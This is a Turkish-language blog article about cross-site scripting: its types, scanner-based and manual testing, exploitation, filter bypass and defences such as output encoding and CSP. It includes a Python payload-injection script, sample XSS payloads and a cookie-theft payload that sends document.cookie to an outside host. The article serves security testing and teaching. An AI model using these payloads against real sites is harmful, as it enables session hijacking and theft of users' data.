paint-brush
Siteler Arası Komut Dosyası Çalıştırma (XSS) Güvenlik Açıkları: Test Stratejileri ve Örneklerile@shad0wpuppet
22,689 okumalar
22,689 okumalar

Siteler Arası Komut Dosyası Çalıştırma (XSS) Güvenlik Açıkları: Test Stratejileri ve Örnekler

ile Constantine9m2024/01/31
Read on Terminal Reader
Read this story w/o Javascript

Çok uzun; Okumak

XSS, web uygulamalarına yönelik kalıcı tehditler oluşturarak veri ihlallerini ve kullanıcı güvenini tehlikeye atıyor. XSS türlerini ve test yöntemlerini anlamak, etkili azaltım için çok önemlidir. Giriş doğrulama, çıkış kodlama ve CSP uygulaması gibi önleme teknikleri uygulama güvenliğini artırır. Ekipler, güvenlik uygulamalarına ve işbirliğine öncelik vererek uygulamalarını XSS'ye karşı koruyabilir ve yeterli web uygulaması güvenliğini sağlayabilir.
featured image - Siteler Arası Komut Dosyası Çalıştırma (XSS) Güvenlik Açıkları: Test Stratejileri ve Örnekler
Constantine HackerNoon profile picture
0-item

Gördüğüm istatistiklere ve deneyimlerime göre XSS açıkları web uygulamaları için yaygın bir tehdit olmaya devam ediyor; veri hırsızlığı, oturumun ele geçirilmesi ve web sitesi sorunları gibi riskler doğuruyor. Bu güvenlik açığı türünü araştırmaya daha fazla zaman ayırabileceğime ve en azından bu genel bakışı (temel bilgiler gibi) sizinle paylaşabileceğime karar verdim; böylece birçok QA ve geliştirme uzmanı, uygulamalarını bu soruna karşı test etmenin bazı yollarını aklında tutabilir. Bu makalede farklı XSS türleri, test metodolojileri ve otomasyon yaklaşımları incelenmekte ve etkili sızma testi için bazı örnekler ve veriler sunulmaktadır.


Siteler arası komut dosyası çalıştırma (XSS), saldırganların diğer kullanıcılar tarafından görüntülenen web sayfalarına kötü amaçlı komut dosyaları eklemesine ve istemci tarafında kod yürütmedeki güvenlik açıklarından yararlanmasına olanak tanır. Farklı XSS güvenlik açıklarını anlamak ve uygun test stratejilerini kullanmak, bu tür saldırılara karşı korunan güvenli web uygulamaları oluşturmak için çok önemlidir.


XSS açıklarından yararlanma, güvenilmeyen kullanıcı girişinin bir web uygulaması içinde yeterince temizlenmemesi ve çalıştırılması durumunda ortaya çıkar ve saldırganların diğer kullanıcıların tarayıcılarının bağlamına kötü amaçlı komut dosyaları yerleştirmesine ve yürütmesine olanak tanır.

XSS Güvenlik Açıklarının Türleri

Yansıyan XSS

Kullanıcı tarafından sağlanan veriler, uygun doğrulama yapılmadan yanıtta tekrar yankılandığında ortaya çıkar.

Örnek: Bir URL parametresi yoluyla enjekte edilen <script>alert('XSS_DEMO')</script> .


Bu istismarlar, bir web uygulamasının doğrulanmamış kullanıcı girişini, uygun şekilde temizlemeden kullanıcının tarayıcısına yansıtması durumunda ortaya çıkar. Bu saldırıda saldırgan, kurban tarafından tıklandığında savunmasız web sayfası bağlamında çalıştırılan, komut dosyası kodu içeren kötü amaçlı bir URL oluşturur. Kötü amaçlı komut dosyası sunucuda saklanmaz, bunun yerine doğrudan kullanıcının girişinden yansıtılır. Yansıyan XSS güvenlik açıklarından genellikle kimlik avı saldırılarında veya kullanıcının tarama deneyimini değiştirmek için yararlanılır. Etki, çerez hırsızlığından oturumun ele geçirilmesine kadar ciddi olabilir.

Saklanan XSS

Kötü amaçlı komut dosyası sunucuda kalıcı olarak depolanır ve diğer kullanıcılar tarafından erişildiğinde yürütülür.

Örnek: Bir forum gönderisindeki veya sosyal ağ profil sayfasındaki bir yorumda/gönderide saklanan kötü amaçlı komut dosyası.


Kalıcı XSS olarak da bilinen bu durum, bir saldırganın bir web uygulamasına kötü amaçlı komut dosyası kodu enjekte etmesi ve bu kodun daha sonra sunucu tarafında depolanmasıyla ortaya çıkar. Bu enjekte edilen komut dosyası daha sonra savunmasız sayfaya diğer kullanıcılar tarafından erişildiğinde alınır ve yürütülür. Saklanan XSS saldırıları, enjekte edilen komut dosyasının zaman içinde devam etmesi, potansiyel olarak birden fazla kullanıcıyı etkilemesi ve yaygın kullanıma yol açması nedeniyle özellikle tehlikelidir. Saldırganlar genellikle kötü amaçlı yüklerini yürütmek için yorumlar, forum gönderileri, web sayfalarında veya profil alanlarında görüntülenen varlık adları gibi kullanıcı tarafından oluşturulan içeriği hedefler. Saklanan XSS'nin sonuçları arasında veri hırsızlığı, hesabın ele geçirilmesi ve web sitesinin tahrif edilmesi yer alabilir ve hem kullanıcılar hem de etkilenen kuruluş için önemli riskler oluşturabilir.

DOM tabanlı XSS

Komut dosyasının yürütülmesi, DOM'un istemci tarafında manipülasyonuna dayanır.

Örnek: JS kodu, kullanıcı tarafından kontrol edilen verileri URL karmasından alır ve yürütür.


Bir web uygulamasının, güvenilmeyen kullanıcı girişine dayalı olarak DOM'u güvenli olmayan bir şekilde dinamik olarak değiştirmesi durumunda ortaya çıkar. Sunucu tarafı işlemeyi içeren geleneksel XSS saldırılarının aksine, DOM tabanlı XSS tamamen istemci tarafında kendini gösterir. Saldırganlar, kurbanın tarayıcısında rastgele kod yürütmek için istemci tarafındaki komut dosyalarını değiştirerek DOM tabanlı XSS'den yararlanır. Güvenlik açığı istemci tarafı kodunda yer aldığından ve sunucu tarafı testleri sırasında belirgin olamayabileceğinden, bu tür XSS'nin tespit edilmesi ve azaltılması genellikle daha zordur. DOM tabanlı XSS saldırıları, oturum ele geçirme, veri sızması ve kullanıcı adına yetkisiz eylemler dahil olmak üzere çeşitli sonuçlara yol açabilir; bu da istemci tarafı güvenlik önlemlerinin ve dikkatli web uygulaması geliştirme uygulamalarının önemini vurgular.

Kendi XSS'si

Bu, bir saldırganın kullanıcıyı tarayıcısında kötü amaçlı kod çalıştırması için kandırdığı bir sosyal mühendislik saldırısıdır. Birden fazla kullanıcıyı hedef alan geleneksel XSS saldırılarından farklı olarak Self-XSS, kullanıcının kendi oturumunda kod yürütme güvenini istismar eder. Saldırganlar genellikle kurbanları, bir özelliğin kilidini açmak veya ödül kazanmak gibi zararsız bir eylem kisvesi altında, görünüşte masum görünen JS kodunu tarayıcılarının geliştirici konsoluna veya bir web sitesinin bazı alanlarına yapıştırmaya teşvik eder. Enjekte edilen kod yürütüldükten sonra potansiyel olarak kurbanın hesabını tehlikeye atabilir, hassas bilgileri çalabilir veya kurban adına yetkisiz eylemler gerçekleştirebilir. Mağdurun oturumuyla sınırlı olmasına rağmen Self-XSS, bu tür aldatıcı taktikleri tanımak ve bunlardan kaçınmak için kullanıcı eğitiminin ve farkındalığının önemini vurgulayarak bir tehdit olmaya devam ediyor.


Test yapmak

Otomasyon

  • XSS'ye yönelik otomatik taramalar için OWASP ZAP, Burp Suite, XSStrike, PwnXSS, XSSer, Acunetix vb. güvenlik test araçlarını kullanın.
  • Uygulamayı taramak, giriş vektörlerini belirlemek ve XSS güvenlik açıklarını tespit etmek için yükleri eklemek için araçları yapılandırın.
  • Tanımlanan güvenlik açıkları için tarama sonuçlarını analiz edin, bunları manuel olarak yeniden oluşturun, PoC oluşturun, potansiyel etkiyi anlayın ve sorunların giderilmesine öncelik verin.

Bazı senaryolar yazabilirsiniz; Örneğin Python'u tercih ederim:

 import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")

Manuel Test

  • XSS eklemeye duyarlı giriş vektörlerini belirleyin (örneğin, giriş alanları, URL parametreleri). Vektörleri daha verimli bir şekilde tanımlamak için tarayıcıları ve algılayıcıları kullanabilirsiniz.
  • XSS güvenlik açıklarından yararlanmak için veriler (örneğin, komut dosyası etiketleri, olay işleyicileri) oluşturun.

Yüklerin yansıtılıp yansıtılmadığını veya yürütülüp yürütülmediğini belirlemek için yanıtları analiz edin. PoC oluşturun, potansiyel etkiyi anlayın ve sorunların düzeltilmesine öncelik verin.


Adımlar:

  1. Uygulamanızın giriş alanlarına bir komut dosyası etiketi ve ardından bir miktar JS kodu girin.

    Örneğin, temel XSS verileri:

     <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
  2. Girişi gönderin ve betiğin çalışıp çalışmadığına bakın.

  3. Eğer öyleyse, uygulama XSS saldırılarına karşı savunmasız demektir.

  4. Betik çalışmazsa, <img> veya <iframe> gibi diğer HTML etiketlerini ekleyerek girişi değiştirmeyi deneyin ve bunların sayfaya yansıtılıp yansıtılmadığına bakın (bu neredeyse her zaman benim için işe yarar) :

    <b>t</b>#`"/*—est

  5. Web uygulaması URL'nizin veya kullanıcı adının, yüklenen dosya adlarının veya uygulama sayfasında görüntülenecek herhangi bir metnin sorgu parametrelerini değiştirmek için bir komut dosyası ekleyebilirsiniz.

  6. Girişlerin ön uç doğrulamalarının farkında olun. Değeri her zaman doğrudan bir istek kullanarak (Postacı, Burp veya benzeri araçları kullanarak) göndermeye çalışın.

  7. Geliştirici araçlarında tarayıcı konsolunu kontrol edin çünkü bazen sayfada görünür herhangi bir değişiklik göremeyebilirsiniz ancak bazı semboller, örneğin `"/*— sayfanın JS/HTML'sini bozabilir ve konsolda bu duruma neden olabilecek bir uyarı görebilirsiniz. XSS PoC almak için yükünüzü nasıl değiştireceğiniz konusunda size bir ipucu olabilir


Fuzzing ve bir yük listesi kullanın; mümkün olduğunda bu yaklaşımı otomatikleştirin veya bunun için özel araçlar kullanın.

Kişisel olarak buradaki yükleri ve bilgileri kullanmayı seviyorum, bence çok faydalı bir kaynak.

Kara Kutu Testi

  • XSS enjeksiyonuna karşı savunmasız girdi vektörlerinin belirlenmesi.
  • Etkiyi değerlendirmek ve hassas noktaları belirlemek için XSS yüklerini oluşturma ve ekleme.

Gri Kutu Testi

  • Potansiyel XSS için kaynak kodunu ve temizleme prosedürlerini analiz etmek.
  • Hedeflenen testler için uygulamaya ilişkin kısmi bilgiden yararlanmak.

XSS'den yararlanma

XSS PoC'si

  • Rastgele JS çalıştıran yükleri enjekte ederek XSS güvenlik açığının doğrulandığını gösterir.
  • Sürüm 92'den sonraki Chrome tarayıcıları için print() işlevi gibi alternatif yüklerin kullanılması.

Gelişmiş XSS Kullanımı

  • Çerezleri çalmak, oturumu ele geçirmek veya rastgele kod çalıştırmak için.
  • Kullanıcıların kimliğine bürünmek, kimlik bilgilerini ele geçirmek veya web sayfalarını tahrif etmek.

XSS Filtrelerini Atlamak

  • Etiket özelliği değeri ekleme, gizleme ve HTTP Parametre Kirliliği (HPP) gibi çeşitli teknikler aracılığıyla yaygın XSS filtrelerinden kaçınmak.
  • Örnek senaryolar, XSS veri yüklerini başarıyla yürütmek için filtre mekanizmalarını atlamayı gösteriyor.

Önleme Teknikleri

Giriş Doğrulaması ve Çıkış Kodlaması

  • Kullanıcı tarafından sağlanan verilerin beklenen formatlara uygun olduğundan ve kötü amaçlı kod içermediğinden emin olmak için giriş doğrulama mekanizmalarını (FE ve BE) uygulayın.
  • Sunucu tarafındaki tüm kullanıcı girişlerini işlemeden veya saklamadan önce temizleyin ve doğrulayın.
  • Çıkış verilerini, tarayıcı tarafından etkin içerik olarak yorumlanmasını önlemek için uygun şekilde kodlayın.
  • Çıktı verilerinin bağlamına dayalı olarak HTML varlık kodlaması, URL kodlaması ve JS kaçışı gibi kodlama tekniklerinden yararlanın.

İçerik Güvenliği Politikası (CSP)

  • Web uygulaması içindeki komut dosyalarının, stil sayfalarının ve diğer kaynakların yürütülmesine ilişkin güvenlik politikalarını tanımlamak ve uygulamak için İçerik Güvenliği Politikası (CSP) başlıklarını uygulayın. CSP, yöneticilerin komut dosyalarının yüklenebileceği kaynakları kısıtlamasına olanak tanır ve yetkisiz komut dosyalarının yürütülmesini önleyerek XSS saldırıları riskini azaltır.
  • Güvenilir etki alanlarını, satır içi komut dosyası ve stil kullanımını ve komut dosyası tekrarlarını belirtmek için CSP yönergelerini yapılandırarak XSS için saldırı yüzeyini etkili bir şekilde azaltın.

Bağlama Özel Çıktı Kodlaması

Çıkış verilerinin oluşturulduğu bağlama göre verileri kodlayın. XSS'ye karşı kapsamlı koruma sağlamak için HTML, JS, CSS ve diğer bağlamlar için farklı kodlama yöntemleri uygulayın.

Örneğin , komut dosyası enjeksiyonunu önlemek ve çeşitli çıktı bağlamlarında veri bütünlüğünü korumak amacıyla HTML içeriği için HTML varlık kodlamasını, satır içi komut dosyası bağlamları için JavaScript kaçışını ve stil nitelikleri için CSS kaçışını kullanın.

Beyaz Listeye Alma ve Kara Listeye Alma

Kullanıcı girişlerini önceden tanımlanmış izin verilenler listelerine ve izin verilen ve yasaklanan karakterlerin, kalıpların veya içerik türlerinin reddedilen listelerine göre filtrelemek ve doğrulamak için giriş beyaz listesi ve kara listeye alma uygulayın.

  • Beyaz listeye alma, beklenen giriş formatlarının açıkça tanımlanmasını ve bu spesifikasyonlara uymayan girişlerin reddedilmesini içerir.
  • Kara listeye alma , bilinen kötü amaçlı girdileri veya kalıpları tanımlar ve engeller; ancak kodlama veya gizleme teknikleri yoluyla kaçakçılık potansiyeli nedeniyle daha az etkili olabilir .

Güvenlik Başlıkları ve Temizleme Kitaplıkları

  • Web uygulaması güvenliğini geliştirmek ve XSS dahil çeşitli saldırı vektörlerini önlemek için X-XSS-Protection, X-Content-Type-Options ve X-Frame-Options gibi güvenlik başlıklarını kullanın.
  • Giriş doğrulamayı, çıktı kodlamayı ve diğer güvenlik açısından kritik görevleri otomatikleştirmek için üçüncü taraf temizleme kitaplıklarını ve çerçevelerini geliştirme yığınına entegre edin. Ortaya çıkan tehditleri ve güvenlik açıklarını etkili bir şekilde ele almak için bu kitaplıkları düzenli olarak güncelleyin ve bakımını yapın .

Güvenli Geliştirme Uygulamaları ve Güvenlik Farkındalığı

  • Yazılım geliştirme yaşam döngüsü boyunca güvenli kod yazmanın, kapsamlı kod incelemeleri yürütmenin ve güvenlik testleri gerçekleştirmenin önemini vurgulayarak geliştirme ve QA ekipleri içinde güvenli geliştirme uygulamalarını teşvik edin.
  • Geliştiriciler, QA mühendisleri ve diğer paydaşlar arasında bir güvenlik farkındalığı kültürünü teşvik ederek XSS ve diğer güvenlik açıkları, yararlanma teknikleri ve önleyici tedbirlerle ilgili sürekli öğrenmeyi ve bilgi paylaşımını teşvik edin.
  • Ekip üyelerini XSS'yi etkili bir şekilde tanımlamak, onunla başa çıkmak ve önlemek için gereken beceri ve uzmanlıkla donatmak amacıyla devam eden eğitim programlarına, kurslara, seminerlere, konferanslara ve kaynaklara yatırım yapın.

XSS, web uygulamalarına yönelik kalıcı tehditler oluşturarak veri ihlallerini ve kullanıcı güvenini tehlikeye atıyor. XSS türlerini ve test yöntemlerini anlamak, etkili azaltım için çok önemlidir. Giriş doğrulama, çıkış kodlama ve CSP uygulaması gibi önleme teknikleri uygulama güvenliğini artırır. Ekipler, güvenlik uygulamalarına ve işbirliğine öncelik vererek uygulamalarını XSS'ye karşı koruyabilir ve yeterli web uygulaması güvenliğini sağlayabilir.


Yeni başlayan biriyseniz ve siber güvenlik ve sızma testiyle ilgileniyorsanız veya uygulamanızı daha güvenli hale getirecek şekilde geliştirmek istiyorsanız şu konulardaki makalelerimi okuyabilirsiniz:


XSS ve veriler hakkında daha fazla ayrıntı için aşağıdaki kaynakları bulabilirsiniz:


Çok önemli bir hatırlatma:

Sızma testlerini her zaman açık izinle ve kontrollü bir ortamda gerçekleştirin. Bu etik yaklaşım, güvenlik değerlendirmelerinin sorumlu test protokolleriyle uyumlu olmasını sağlar, sistemlere yanlışlıkla müdahale edilmesini önler ve hem test sürecinin hem de genel siber güvenlik stratejisinin bütünlüğünü korur.